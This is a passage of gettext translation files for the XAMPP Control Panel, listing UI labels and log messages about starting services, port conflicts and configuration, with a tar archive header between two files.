"Problem detected: Mercury Not Found!" msgstr "Problem detected: Mercury Not Found!" #: uMercury.pas:111 msgid "Disabling Mercury buttons" msgstr "Disabling Mercury buttons" #: uMercury.pas:152 msgid "Mercury WILL NOT start without the configured ports free!" msgstr "Mercury WILL NOT start without the configured ports free!" #: uMercury.pas:154 msgid "or reconfigure Mercury to listen on a different port" msgstr "or reconfigure Mercury to listen on a different port" #: uMercury.pas:160 msgid "XAMPP Mercury is already running" msgstr "XAMPP Mercury is already running" #: uMercury.pas:161 msgid "Ports in use: %s" msgstr "Ports in use: %s" #: uMercury.pas:324 msgid "Error: Mercury shutdown unexpectedly." msgstr "Error: Mercury shutdown unexpectedly." #: uMercury.pas:354 msgid "Autostart aborted: Mercury is already running" msgstr "Autostart aborted: Mercury is already running" #: uMySQL.pas:79 msgid "MySQL Service detected with wrong path" msgstr "MySQL Service detected with wrong path" #: uMySQL.pas:80 msgid "Change XAMPP MySQL settings or" msgstr "Change XAMPP MySQL settings or" #: uMySQL.pas:83 msgid "Expected Path: %smysql\\bin\\%s --defaults-file=%smysql\\bin\\my.ini %s" msgstr "" "Expected Path: %smysql\\bin\\%s --defaults-file=%smysql\\bin\\my.ini %s" #: uMySQL.pas:107 msgid "Problem detected: MySQL Not Found!" msgstr "Problem detected: MySQL Not Found!" #: uMySQL.pas:108 msgid "Disabling MySQL buttons" msgstr "Disabling MySQL buttons" #: uMySQL.pas:144 msgid "XAMPP MySQL is already running on port %d" msgstr "XAMPP MySQL is already running on port %d" #: uMySQL.pas:148 msgid "XAMPP MySQL Service is already running on port %d" msgstr "XAMPP MySQL Service is already running on port %d" #: uMySQL.pas:155 msgid "MySQL WILL NOT start without the configured ports free!" msgstr "MySQL WILL NOT start without the configured ports free!" #: uMySQL.pas:157 msgid "or reconfigure MySQL to listen on a different port" msgstr "or reconfigure MySQL to listen on a different port" #: uMySQL.pas:254 msgid "%s" msgstr "%s" #: uMySQL.pas:364 msgid "Error: MySQL shutdown unexpectedly." msgstr "Error: MySQL shutdown unexpectedly." #: uMySQL.pas:367 msgid "Check the \"/xampp/mysql/data/mysql_error.log\" file" msgstr "Check the \"/xampp/mysql/data/mysql_error.log\" file" #: uMySQL.pas:396 msgid "Autostart aborted: MySQL is already running" msgstr "Autostart aborted: MySQL is already running" #: uNetstat.pas:261 msgid "New listening socket: %s:%d" msgstr "New listening socket: %s:%d" #: uNetstat.pas:283 msgid "Listening socket closed: %s:%d" msgstr "Listening socket closed: %s:%d" #: uNetstatTable.pas:129 msgid "unknown program" msgstr "unknown program" #: uProcesses.pas:140 uProcesses.pas:230 msgid "Deleting PID-entry %d: %s" msgstr "Deleting PID-entry %d: %s" #. ProcInfo.ExePath := LowerCase(GetProcessPath(TProcessEntry.th32ProcessID)); #: uProcesses.pas:217 msgid "Creating PID-entry %d: %s" msgstr "Creating PID-entry %d: %s" #: uServices.pas:27 uServices.pas:47 msgid "Searching for service %s" msgstr "Searching for service %s" #: uServices.pas:32 msgid "Found service, attempting to start" msgstr "Found service, attempting to start" #: uServices.pas:38 uServices.pas:58 msgid "Return Code %d" msgstr "Return Code %d" #: uServices.pas:52 msgid "Found service, attempting to stop" msgstr "Found service, attempting to stop" #: uTomcat.pas:78 msgid "Tomcat Service detected with wrong path" msgstr "Tomcat Service detected with wrong path" #: uTomcat.pas:79 msgid "Change XAMPP Tomcat settings or" msgstr "Change XAMPP Tomcat settings or" #: uTomcat.pas:82 msgid "Expected Path: %stomcat\\bin\\%s //RS//%s" msgstr "Expected Path: %stomcat\\bin\\%s //RS//%s" #: uTomcat.pas:115 msgid "Problem detected: Tomcat Not Found!" msgstr "Problem detected: Tomcat Not Found!" #: uTomcat.pas:116 msgid "Disabling Tomcat buttons" msgstr "Disabling Tomcat buttons" #: uTomcat.pas:133 msgid "Problem detected: Required Tool catalina_start.bat Not Found!" msgstr "Problem detected: Required Tool catalina_start.bat Not Found!" #: uTomcat.pas:138 msgid "Problem detected: Required Tool catalina_stop.bat Not Found!" msgstr "Problem detected: Required Tool catalina_stop.bat Not Found!" #: uTomcat.pas:143 msgid "Problem detected: Required Tool catalina_service.bat Not Found!" msgstr "Problem detected: Required Tool catalina_service.bat Not Found!" #: uTomcat.pas:166 msgid "Java is already running on port %d!" msgstr "Java is already running on port %d!" #: uTomcat.pas:167 msgid "Is Tomcat already running?" msgstr "Is Tomcat already running?" #: uTomcat.pas:171 msgid "XAMPP Tomcat is already running on port %d" msgstr "XAMPP Tomcat is already running on port %d" #: uTomcat.pas:175 msgid "XAMPP Tomcat Service is already running on port %d" msgstr "XAMPP Tomcat Service is already running on port %d" #: uTomcat.pas:182 msgid "Tomcat WILL NOT start without the configured ports free!" msgstr "Tomcat WILL NOT start without the configured ports free!" #: uTomcat.pas:184 msgid "or reconfigure Tomcat to listen on a different port" msgstr "or reconfigure Tomcat to listen on a different port" #: uTomcat.pas:213 msgid "Tomcat Service Install stopped with errors, return code: %d" msgstr "Tomcat Service Install stopped with errors, return code: %d" #: uTomcat.pas:214 uTomcat.pas:237 uTomcat.pas:279 msgid "" "Make sure you have Java JDK or JRE installed and the required ports are free" msgstr "" "Make sure you have Java JDK or JRE installed and the required ports are free" #: uTomcat.pas:215 uTomcat.pas:238 uTomcat.pas:280 msgid "Check the \"/xampp/tomcat/logs\" folder for more information" msgstr "Check the \"/xampp/tomcat/logs\" folder for more information" #: uTomcat.pas:236 msgid "Tomcat Service Uninstall stopped with errors, return code: %d" msgstr "Tomcat Service Uninstall stopped with errors, return code: %d" #: uTomcat.pas:278 msgid "Tomcat Started/Stopped with errors, return code: %d" msgstr "Tomcat Started/Stopped with errors, return code: %d" #: uTomcat.pas:307 msgid "Attempting to stop %s" msgstr "Attempting to stop %s" #: uTomcat.pas:424 msgid "Error: Tomcat shutdown unexpectedly." msgstr "Error: Tomcat shutdown unexpectedly." #: uTomcat.pas:455 msgid "Autostart aborted: Tomcat is already running" msgstr "Autostart aborted: Tomcat is already running" #: uTools.pas:484 msgid "Application" msgstr "Application" xampp-control-panel/locale/en/LC_MESSAGES/xampp_control.~po000066600000144120151723641500017527 0ustar00# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # msgid "" msgstr "" "Project-Id-Version: UDP Manager\n" "POT-Creation-Date: 2011-11-13 14:57\n" "PO-Revision-Date: 2011-11-13 15:01-0500\n" "Last-Translator: Mark \n" "Language-Team: Strueber-IT\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: dxgettext 1.2.1\n" "X-Poedit-Language: English\n" "X-Poedit-Country: GERMANY\n" "X-Poedit-SourceCharset: iso-8859-1\n" "X-Poedit-Basepath: C:\\Delphi\\xampp_control3\n" "X-Poedit-SearchPath-0: .\n" #. fConfig..Caption #: uConfig.dfm:4 msgid "Configuration of Control Panel" msgstr "Configuration of Control Panel" #. fConfig..Label1..Caption #: uConfig.dfm:33 msgid "Editor:" msgstr "Editor:" #. fConfig..Label2..Caption #: uConfig.dfm:44 msgid "Browser (empty = system default)" msgstr "Browser (empty = system default)" #. fConfig..bSave..Caption #. fConfigUserDefined..bSave..Caption #. fLogOptions..bSave..Caption #. fServiceSettings..bSave..Caption #: uConfig.dfm:124 #: uServiceSettings.dfm:452 msgid "Save" msgstr "Save" #. fConfig..bAbort..Caption #: uConfig.dfm:157 msgid "Abort" msgstr "Abort" #. fConfig..cbDebug..Caption #: uConfig.dfm:257 msgid "Show debug stuff" msgstr "Show debug stuff" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:273 msgid "Details" msgstr "Details" #. fConfig..cbDebugDetails....Items.Strings #: uConfig.dfm:274 msgid "Very many details" msgstr "Very many details" #. fConfig..GroupBox1..Caption #: uConfig.dfm:286 msgid " Autostart of modules " msgstr " Autostart of modules " #. fConfig..GroupBox1..Label3....Caption #: uConfig.dfm:304 msgid "Selected modules will be started on next launch of the Control Panel." msgstr "Selected modules will be started on next launch of the Control Panel." #. fConfig..GroupBox1..cbASApache..Caption #. fConfigUserDefined..gbApache..Caption #. fMain..gbModules..pApacheStatus..Caption #: uConfig.dfm:324 msgid "Apache" msgstr "Apache" #. fConfig..GroupBox1..cbASMySQL..Caption #. fConfigUserDefined..gbMySQL..Caption #. fMain..gbModules..pMySQLStatus..Caption #: uConfig.dfm:336 msgid "MySQL" msgstr "MySQL" #. fConfig..GroupBox1..cbASFileZilla..Caption #. fConfigUserDefined..gbFileZilla..Caption #. fMain..gbModules..pFileZillaStatus..Caption #: uConfig.dfm:348 msgid "FileZilla" msgstr "FileZilla" #. fConfig..GroupBox1..cbASMercury..Caption #. fConfigUserDefined..gbMercury..Caption #. fConfigUserDefined..gbTomcat..Caption #. fMain..gbModules..pMercuryStatus..Caption #: uConfig.dfm:360 #: uMain.dfm:1550 msgid "Mercury" msgstr "Mercury" #. fConfig..GroupBox1..cbASTomcat..Caption #. fMain..gbModules..pTomcatStatus..Caption #: uConfig.dfm:368 msgid "Tomcat" msgstr "Tomcat" #. fConfig..cbCheckDefaultPorts..Caption #: uConfig.dfm:381 msgid "Check default ports on startup" msgstr "Check default ports on startup" #. fConfig..BitBtn1..Caption #: uConfig.dfm:394 msgid "Change Language" msgstr "Change Language" #. fConfig..bConfigUserdefined..Caption #: uConfig.dfm:408 msgid "User Defined Files" msgstr "User Defined Files" #. fConfig..cbTomcatVisible..Caption #: uConfig.dfm:423 msgid "Tomcat output window visible" msgstr "Tomcat output window visible" #. fConfig..bLogSettings..Caption #. fLogOptions..Caption #: uConfig.dfm:432 msgid "Log Options" msgstr "Log Options" #. fConfig..bServiceSettings..Caption #: uConfig.dfm:441 msgid "Service and Port Settings" msgstr "Service and Port Settings" #. fConfig..OpenDialog1..DefaultExt #: uConfig.dfm:446 msgid "exe" msgstr "exe" #. fConfig..OpenDialog1..Filter #: uConfig.dfm:447 msgid "Executables (*.exe)|*.exe|All files (*.*)|*.*" msgstr "Executables (*.exe)|*.exe|All files (*.*)|*.*" #. fConfigUserDefined..Caption #: uConfigUserDefined.dfm:4 msgid "User-defined log/config-files" msgstr "User-defined log/config-files" #. fConfigUserDefined..lHeader1....Caption #: uConfigUserDefined.dfm:34 msgid "Enter user defined files. Files must be relative to xampp-basedir!" msgstr "Enter user defined files. Files must be relative to xampp-basedir!" #. fConfigUserDefined..lHeader2..Caption #: uConfigUserDefined.dfm:45 msgid "Example: \"apache\\conf\\extra\\httpd-info.conf\"" msgstr "Example: \"apache\\conf\\extra\\httpd-info.conf\"" #. fConfigUserDefined..lConfig..Caption #. fMain..bConfig..Caption #. fMain..gbModules..bApacheConfig..Caption #. fMain..gbModules..bMySQLConfig..Caption #. fMain..gbModules..bFileZillaConfig..Caption #. fMain..gbModules..bMercuryConfig..Caption #. fMain..gbModules..bTomcatConfig..Caption #: uConfigUserDefined.dfm:56 #: uMain.dfm:1482 #: uMain.dfm:1508 #: uMain.dfm:1638 msgid "Config" msgstr "Config" #. fConfigUserDefined..lLogs..Caption #. fMain..gbModules..bApacheLogs..Caption #. fMain..gbModules..bMySQLLogs..Caption #. fMain..gbModules..bFileZillaLogs..Caption #. fMain..gbModules..bMercurylogs..Caption #. fMain..gbModules..bTomcatLogs..Caption #: uConfigUserDefined.dfm:73 #: uMain.dfm:1599 #: uMain.dfm:1665 msgid "Logs" msgstr "Logs" #. fHelp..Caption #. fMain..bHelp..Caption #: uHelp.dfm:4 msgid "Help" msgstr "Help" #. fHelp..lAbout..Caption #: uHelp.dfm:30 msgid "Programmed by Steffen Strueber" msgstr "Programmed by Steffen Strueber" #. fHelp..Label1..Caption #: uHelp.dfm:47 msgid "Enhanced by hackattack142" msgstr "Enhanced by hackattack142" #. fHelp..Label2..Caption #: uHelp.dfm:64 msgid "Need Help? Visit the XAMPP forums (English):" msgstr "Need Help? Visit the XAMPP forums (English):" #. fHelp..Label4..Caption #: uHelp.dfm:81 msgid "Need Help? Visit the XAMPP forums (German):" msgstr "Need Help? Visit the XAMPP forums (German):" #. fHelp..BitBtn1..Caption #: uHelp.dfm:127 msgid "Close" msgstr "Close" #. fLanguage..Caption #: uLanguage.dfm:5 msgid "Language" msgstr "Language" #. fLanguage..bOkay..Caption #: uLanguage.dfm:191 msgid "OK" msgstr "OK" #. fLogOptions..lLogFont..Caption #: uLogOptions.dfm:23 msgid "Log Font" msgstr "Log Font" #. fLogOptions..lLogFontSize..Caption #: uLogOptions.dfm:30 msgid "Log Font Size" msgstr "Log Font Size" #. fLogOptions..bCancel..Caption #. fServiceSettings..bCancel..Caption #: uLogOptions.dfm:37 msgid "Cancel" msgstr "Cancel" #. fLogOptions..bSelect..Caption #: uLogOptions.dfm:69 msgid "Select Font" msgstr "Select Font" #. fMain..Caption #. fMain..lHeader..Caption #: uMain.dfm:4 msgid "XAMPP Control Panel v" msgstr "XAMPP Control Panel v" #. fMain..bSCM..Caption #: uMain.dfm:1062 msgid "Win-Services" msgstr "Win-Services" #. fMain..gbModules..Caption #: uMain.dfm:1075 msgid " Modules " msgstr " Modules " #. fMain..gbModules..lPIDs..Caption #: uMain.dfm:1087 msgid "PID(s)" msgstr "PID(s)" #. fMain..gbModules..lPorts..Caption #: uMain.dfm:1105 msgid "Port(s)" msgstr "Port(s)" #. fMain..gbModules..Label1..Caption #: uMain.dfm:1231 msgid "Service" msgstr "Service" #. fMain..gbModules..Label2..Caption #: uMain.dfm:1250 msgid "Module" msgstr "Module" #. fMain..gbModules..Label3..Caption #: uMain.dfm:1268 msgid "Actions" msgstr "Actions" #. fMain..gbModules..bApacheAction..Caption #. fMain..gbModules..bMySQLAction..Caption #. fMain..gbModules..bFileZillaAction..Caption #. fMain..gbModules..bMercuryAction..Caption #. fMain..gbModules..bTomcatAction..Caption #: uMain.dfm:1312 #: uMain.dfm:1612 #: uApache.pas:378 #: uFileZilla.pas:310 #: uMercury.pas:271 #: uMySQL.pas:309 #: uTomcat.pas:272 msgid "Start" msgstr "Start" #. fMain..gbModules..bApacheAdmin..Caption #. fMain..gbModules..bMySQLAdmin..Caption #. fMain..gbModules..bFileZillaAdmin..Caption #. fMain..gbModules..bMercuryAdmin..Caption #. fMain..gbModules..bTomcatAdmin..Caption #: uMain.dfm:1325 #: uMain.dfm:1625 msgid "Admin" msgstr "Admin" #. fMain..bQuit..Caption #. fMain..puSystray..miTerminate..Caption #: uMain.dfm:1716 msgid "Quit" msgstr "Quit" #. fMain..bExplorer..Caption #: uMain.dfm:1760 msgid "Explorer" msgstr "Explorer" #. fMain..bNetstat..Caption #: uMain.dfm:1773 msgid "Netstat" msgstr "Netstat" #. fMain..bXamppShell..Caption #: uMain.dfm:1786 msgid "XAMPP-Shell" msgstr "XAMPP-Shell" #. fMain..puSystray..miShowHide..Caption #: uMain.dfm:2775 msgid "Show / Hide" msgstr "Show / Hide" #. fMain..puLog..Copy1..Caption #: uMain.dfm:2944 msgid "Copy" msgstr "Copy" #. fMain..puLog..SelectAll1..Caption #: uMain.dfm:2948 msgid "Select All" msgstr "Select All" #. fNetstat..Caption #: uNetstat.dfm:5 msgid "Netstat - TCP Listening sockets" msgstr "Netstat - TCP Listening sockets" #. fNetstat..ListView1......Caption #: uNetstat.dfm:37 msgid "Address" msgstr "Address" #. fNetstat..ListView1......Caption #: uNetstat.dfm:42 msgid "Port" msgstr "Port" #. fNetstat..ListView1......Caption #: uNetstat.dfm:47 msgid "PID" msgstr "PID" #. fNetstat..ListView1......Caption #: uNetstat.dfm:51 msgid "Name" msgstr "Name" #. fNetstat..BitBtn1..Caption #: uNetstat.dfm:75 msgid "Refresh" msgstr "Refresh" #. fNetstat..Panel1..Caption #: uNetstat.dfm:103 msgid "Active socket" msgstr "Active socket" #. fNetstat..Panel2..Caption #: uNetstat.dfm:123 msgid "Old socket" msgstr "Old socket" #. fNetstat..Panel3..Caption #: uNetstat.dfm:143 msgid "New socket" msgstr "New socket" #. fServiceSettings..Caption #: uServiceSettings.dfm:4 msgid "Service Settings" msgstr "Service Settings" #. fServiceSettings..lMain....Caption #: uServiceSettings.dfm:29 msgid "Use this form to set service-specific and default port settings. You can set the name and default ports the XAMPP Control Panel will check. Do not include spaces or quotes in names. This does NOT change the ports that the services and programs use. You still need to change those in the services' configuration files." msgstr "Use this form to set service-specific and default port settings. You can set the name and default ports the XAMPP Control Panel will check. Do not include spaces or quotes in names. This does NOT change the ports that the services and programs use. You still need to change those in the services' configuration files." #. fServiceSettings..gApache..Caption #: uServiceSettings.dfm:43 msgid "Apache Settings" msgstr "Apache Settings" #. fServiceSettings..gApache..lApacheName..Caption #. fServiceSettings..gMySQL..lMySQLName..Caption #. fServiceSettings..gFileZilla..lFileZillaName..Caption #: uServiceSettings.dfm:50 msgid "Service Name" msgstr "Service Name" #. fServiceSettings..gApache..lApacheMain..Caption #. fServiceSettings..gMySQL..lMySQLMain..Caption #. fServiceSettings..gFileZilla..lFileZillaMain..Caption #. fServiceSettings..gTomcat..lTomcatMain..Caption #: uServiceSettings.dfm:57 #: uServiceSettings.dfm:382 msgid "Main Port" msgstr "Main Port" #. fServiceSettings..gApache..lApacheSSL..Caption #: uServiceSettings.dfm:64 msgid "SSL Port" msgstr "SSL Port" #. fServiceSettings..gMySQL..Caption #: uServiceSettings.dfm:111 msgid "MySQL Settings" msgstr "MySQL Settings" #. fServiceSettings..gFileZilla..Caption #: uServiceSettings.dfm:159 msgid "FileZilla Settings" msgstr "FileZilla Settings" #. fServiceSettings..gFileZilla..lFileZillaAdmin..Caption #: uServiceSettings.dfm:180 msgid "Admin Port" msgstr "Admin Port" #. fServiceSettings..gMercury..Caption #: uServiceSettings.dfm:227 msgid "Mercury Settings" msgstr "Mercury Settings" #. fServiceSettings..gMercury..lMercuryP1..Caption #: uServiceSettings.dfm:234 msgid "Port 1" msgstr "Port 1" #. fServiceSettings..gMercury..lMercuryP2..Caption #: uServiceSettings.dfm:241 msgid "Port 2" msgstr "Port 2" #. fServiceSettings..gMercury..lMercuryP3..Caption #: uServiceSettings.dfm:248 msgid "Port 3" msgstr "Port 3" #. fServiceSettings..gMercury..lMercuryP4..Caption #: uServiceSettings.dfm:255 msgid "Port 4" msgstr "Port 4" #. fServiceSettings..gMercury..lMercuryP5..Caption #: uServiceSettings.dfm:262 msgid "Port 5" msgstr "Port 5" #. fServiceSettings..gMercury..lMercuryP6..Caption #: uServiceSettings.dfm:269 msgid "Port 6" msgstr "Port 6" #. fServiceSettings..gMercury..lMercuryP7..Caption #: uServiceSettings.dfm:276 msgid "Port 7" msgstr "Port 7" #. fServiceSettings..gTomcat..Caption #: uServiceSettings.dfm:375 msgid "Tomcat Settings" msgstr "Tomcat Settings" #. fServiceSettings..gTomcat..lTomcatHTTP..Caption #: uServiceSettings.dfm:389 msgid "HTTP Port" msgstr "HTTP Port" #. fServiceSettings..gTomcat..lTomcatAJP..Caption #: uServiceSettings.dfm:396 msgid "AJP Port" msgstr "AJP Port" #. 64 bit? dann DIESE shell starten! #. 64 bit? dann DIESE shell starten! #: uApache.pas:52 #: uTomcat.pas:136 #: uTomcat.pas:159 msgid "Executing \"%s\" \"%s\"" msgstr "Executing \"%s\" \"%s\"" #. AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); #. AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); #: uApache.pas:57 #: uApache.pas:281 #: uFileZilla.pas:39 #: uFileZilla.pas:179 #: uFileZilla.pas:193 #: uFileZilla.pas:212 #: uFileZilla.pas:226 #: uMain.pas:211 #: uMain.pas:369 #: uMain.pas:634 #: uMercury.pas:167 #: uMercury.pas:184 #: uMySQL.pas:51 #: uMySQL.pas:174 #: uMySQL.pas:185 #: uMySQL.pas:204 #: uMySQL.pas:220 #: uTomcat.pas:51 msgid "Executing \"%s\"" msgstr "Executing \"%s\"" #: uApache.pas:69 msgid "Service installed" msgstr "Service installed" #: uApache.pas:73 msgid "Service not installed" msgstr "Service not installed" #: uApache.pas:74 msgid "Checking for service (name=\"%s\"): %s" msgstr "Checking for service (name=\"%s\"): %s" #: uApache.pas:78 msgid "Service Path: %s" msgstr "Service Path: %s" #: uApache.pas:81 msgid "Apache Service Detected With Wrong Path" msgstr "Apache Service Detected With Wrong Path" #: uApache.pas:82 msgid "Uninstall the service manually first" msgstr "Uninstall the service manually first" #: uApache.pas:86 msgid "Service Path: Service Not Installed" msgstr "Service Path: Service Not Installed" #. =(Config.ServicePorts.Apache,Config.ServicePorts.ApacheSSL); #. DidShowRunningWarn:=false; #. PID:=-1; #: uApache.pas:102 #: uTomcat.pas:74 msgid "Initializing module..." msgstr "Initializing module..." #: uApache.pas:106 msgid "Possible problem detected: Apache Not Found!" msgstr "Possible problem detected: Apache Not Found!" #: uApache.pas:107 #: uTomcat.pas:79 msgid "Run this program from your XAMPP root directory!" msgstr "Run this program from your XAMPP root directory!" #: uApache.pas:115 #: uTomcat.pas:86 msgid "Checking default ports..." msgstr "Checking default ports..." #. AddLog(Format(_('"%s" seems to be running on port %d?'),[ServerApp,Ports[p]]),ltError); #: uApache.pas:126 msgid "XAMPP Apache is already running on port %d" msgstr "XAMPP Apache is already running on port %d" #: uApache.pas:130 msgid "XAMPP Apache Service is already running on port %d" msgstr "XAMPP Apache Service is already running on port %d" #: uApache.pas:134 msgid "Possible problem detected! " msgstr "Possible problem detected! " #: uApache.pas:135 #: uTomcat.pas:103 msgid "Port %d in use by \"%s\"!" msgstr "Port %d in use by \"%s\"!" #: uApache.pas:153 msgid "Executing %s %s" msgstr "Executing %s %s" #. RunAsAdmin(App, Param3, SW_HIDE); #: uApache.pas:164 msgid "Installing service..." msgstr "Installing service..." #: uApache.pas:165 #: uFileZilla.pas:142 #: uFileZilla.pas:146 msgid "Executing \"%s %s\"" msgstr "Executing \"%s %s\"" #. RC := RunAsAdmin(App, Param, SW_HIDE); #. RC := RunAsAdmin(App, Param, SW_HIDE); #: uApache.pas:168 #: uApache.pas:260 #: uApache.pas:284 #: uFileZilla.pas:149 #: uFileZilla.pas:165 #: uFileZilla.pas:182 #: uFileZilla.pas:197 #: uFileZilla.pas:215 #: uFileZilla.pas:230 #: uMercury.pas:170 #: uMercury.pas:187 #: uMySQL.pas:144 #: uMySQL.pas:160 #: uMySQL.pas:177 #: uMySQL.pas:188 #: uMySQL.pas:207 #: uMySQL.pas:223 #: uTomcat.pas:141 msgid "Return code: %d" msgstr "Return code: %d" #: uApache.pas:170 #: uApache.pas:263 #: uApache.pas:287 #: uFileZilla.pas:151 #: uFileZilla.pas:167 #: uFileZilla.pas:184 #: uFileZilla.pas:199 #: uFileZilla.pas:217 #: uFileZilla.pas:232 #: uMercury.pas:172 #: uMercury.pas:189 #: uMySQL.pas:146 #: uMySQL.pas:162 #: uMySQL.pas:179 #: uMySQL.pas:190 #: uMySQL.pas:209 #: uMySQL.pas:225 msgid "There may be an error, return code: %d - %s" msgstr "There may be an error, return code: %d - %s" #: uApache.pas:180 msgid "Uninstalling service..." msgstr "Uninstalling service..." #. , Param: string; #: uApache.pas:209 msgid "Starting %s service..." msgstr "Starting %s service..." #: uApache.pas:220 msgid "You appear to be missing the VC9 Runtime Files" msgstr "You appear to be missing the VC9 Runtime Files" #: uApache.pas:221 msgid "You need to download and install the Microsoft Visual C++ 2008 SP1 (x86) Runtimes" msgstr "You need to download and install the Microsoft Visual C++ 2008 SP1 (x86) Runtimes" #. Param := '-compat -start'; #: uApache.pas:228 #: uTomcat.pas:130 msgid "Starting %s app..." msgstr "Starting %s app..." #. , Param: string; #: uApache.pas:255 msgid "Stopping %s service..." msgstr "Stopping %s service..." #: uApache.pas:279 msgid "Stopping" msgstr "Stopping" #: uApache.pas:299 msgid "No PIDs found?!" msgstr "No PIDs found?!" #. Change Status #: uApache.pas:362 #: uTomcat.pas:256 msgid "running" msgstr "running" #: uApache.pas:364 #: uTomcat.pas:258 msgid "stopped" msgstr "stopped" #: uApache.pas:365 #: uTomcat.pas:259 msgid "Status change detected:" msgstr "Status change detected:" #: uApache.pas:372 #: uTomcat.pas:266 msgid "Stop" msgstr "Stop" #: uApache.pas:388 #: uTomcat.pas:283 msgid "Autostart active: module is already running - aborted" msgstr "Autostart active: module is already running - aborted" #: uApache.pas:392 #: uTomcat.pas:287 msgid "Autostart active: starting..." msgstr "Autostart active: starting..." #: uFileZilla.pas:63 msgid "FileZilla Service Detected With Wrong Path" msgstr "FileZilla Service Detected With Wrong Path" #: uFileZilla.pas:88 msgid "Possible problem detected: FileZilla Not Found!" msgstr "Possible problem detected: FileZilla Not Found!" #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #: uFileZilla.pas:107 msgid "XAMPP FileZilla FTP Server is already running on port %d" msgstr "XAMPP FileZilla FTP Server is already running on port %d" #: uFileZilla.pas:111 msgid "XAMPP FileZilla FTP Server Service is already running on port %d" msgstr "XAMPP FileZilla FTP Server Service is already running on port %d" #. AddLog('Possible problem detected: Port ' + InttoStr(Ports[p]) + ' in use by "' + PortBlocker + '"!', ltError); #: uFileZilla.pas:115 msgid "Possible problem detected!" msgstr "Possible problem detected!" #: uFileZilla.pas:137 msgid "Setting Service Name..." msgstr "Setting Service Name..." #. RunAsAdmin(App, Param2, SW_HIDE); #: uFileZilla.pas:141 msgid "Setting Service Display Name..." msgstr "Setting Service Display Name..." #. Param := '-compat -stop'; #: uFileZilla.pas:224 msgid "Stopping %s app..." msgstr "Stopping %s app..." #: uLanguage.pas:55 msgid "Restart application to apply changes!" msgstr "Restart application to apply changes!" #: uMain.pas:391 #: uMain.pas:571 #: uMain.pas:659 #: uMain.pas:668 #: uMain.pas:801 #: uMain.pas:802 #: uMain.pas:803 #: uMain.pas:814 msgid "" msgstr "" #: uMain.pas:412 msgid "Services cannot be installed or uninstalled while the service is running!" msgstr "Services cannot be installed or uninstalled while the service is running!" #: uMain.pas:417 msgid "Click Yes to uninstall the %s service" msgstr "Click Yes to uninstall the %s service" #: uMain.pas:428 msgid "Click Yes to install the %s service" msgstr "Click Yes to install the %s service" #: uMain.pas:440 msgid "Service was NOT (un)installed!" msgstr "Service was NOT (un)installed!" #. WinXP #. WinXP #. WinXP #: uMain.pas:443 msgid "One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the \"Protect my computer and data from unauthorized program activity\" checkbox!!!" msgstr "One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the \"Protect my computer and data from unauthorized program activity\" checkbox!!!" #: uMain.pas:448 msgid "Successful!" msgstr "Successful!" #: uMain.pas:539 msgid "Mercury cannot be run as service!" msgstr "Mercury cannot be run as service!" #: uMain.pas:691 msgid "File \"%s\" not found. Should it be created now?" msgstr "File \"%s\" not found. Should it be created now?" #: uMain.pas:700 msgid "Error" msgstr "Error" #: uMain.pas:737 msgid "User defined" msgstr "User defined" #: uMain.pas:858 msgid "Initializing Control Panel" msgstr "Initializing Control Panel" #: uMain.pas:876 msgid "Windows Version: %s %s %s" msgstr "Windows Version: %s %s %s" #: uMain.pas:883 msgid "WARNING: Your Operating System is too old and is not supported" msgstr "WARNING: Your Operating System is too old and is not supported" #. else #: uMain.pas:907 msgid "Running with Administrator rights - good!" msgstr "Running with Administrator rights - good!" #: uMain.pas:911 msgid "You are not running with administrator rights! This will work for" msgstr "You are not running with administrator rights! This will work for" #: uMain.pas:912 msgid "most application stuff but whenever you do something with services" msgstr "most application stuff but whenever you do something with services" #: uMain.pas:913 msgid "there will be a security dialogue or things will break! So think " msgstr "there will be a security dialogue or things will break! So think " #: uMain.pas:914 msgid "about running this application with administrator rights!" msgstr "about running this application with administrator rights!" #: uMain.pas:917 msgid "XAMPP Installation Directory: \"%s\"" msgstr "XAMPP Installation Directory: \"%s\"" #: uMain.pas:920 msgid "ERROR: Your install directory contains spaces. This will break programs" msgstr "ERROR: Your install directory contains spaces. This will break programs" #: uMain.pas:945 msgid "ERROR: Your install directory contains special characters. This will break programs" msgstr "ERROR: Your install directory contains special characters. This will break programs" #: uMain.pas:953 msgid "Initializing Modules" msgstr "Initializing Modules" #: uMain.pas:963 msgid "Enabling autostart for module \"%s\"" msgstr "Enabling autostart for module \"%s\"" #: uMain.pas:986 msgid "Starting" msgstr "Starting" #. TimerUpdateStatus.Enabled := True; #: uMain.pas:989 msgid "Control Panel Ready" msgstr "Control Panel Ready" #: uMain.pas:995 msgid "Deinitializing Modules" msgstr "Deinitializing Modules" #: uMain.pas:1000 msgid "Deinitializing Control Panel" msgstr "Deinitializing Control Panel" #: uMercury.pas:105 msgid "Possible problem detected: Mercury Not Found!" msgstr "Possible problem detected: Mercury Not Found!" #: uMercury.pas:139 msgid "XAMPP Mercury is already running" msgstr "XAMPP Mercury is already running" #: uMercury.pas:140 msgid "Ports in use: %s" msgstr "Ports in use: %s" #: uMySQL.pas:75 msgid "MySQL Service Detected With Wrong Path" msgstr "MySQL Service Detected With Wrong Path" #: uMySQL.pas:96 msgid "Possible problem detected: MySQL Not Found!" msgstr "Possible problem detected: MySQL Not Found!" #. if (LowerCase(PortBlocker) = LowerCase(ServerApp)) then #: uMySQL.pas:113 msgid "XAMPP MySQL is already running on port %d" msgstr "XAMPP MySQL is already running on port %d" #: uMySQL.pas:117 msgid "XAMPP MySQL Service is already running on port %d" msgstr "XAMPP MySQL Service is already running on port %d" #: uNetstat.pas:261 msgid "New listening socket: %s:%d" msgstr "New listening socket: %s:%d" #: uNetstat.pas:283 msgid "Listening socket closed: %s:%d" msgstr "Listening socket closed: %s:%d" #: uNetstatTable.pas:129 msgid "unknown program" msgstr "unknown program" #. hModuleSnap := INVALID_HANDLE_VALUE; #: uProcesses.pas:135 msgid "Creating PID-entry %d: %s" msgstr "Creating PID-entry %d: %s" #: uProcesses.pas:148 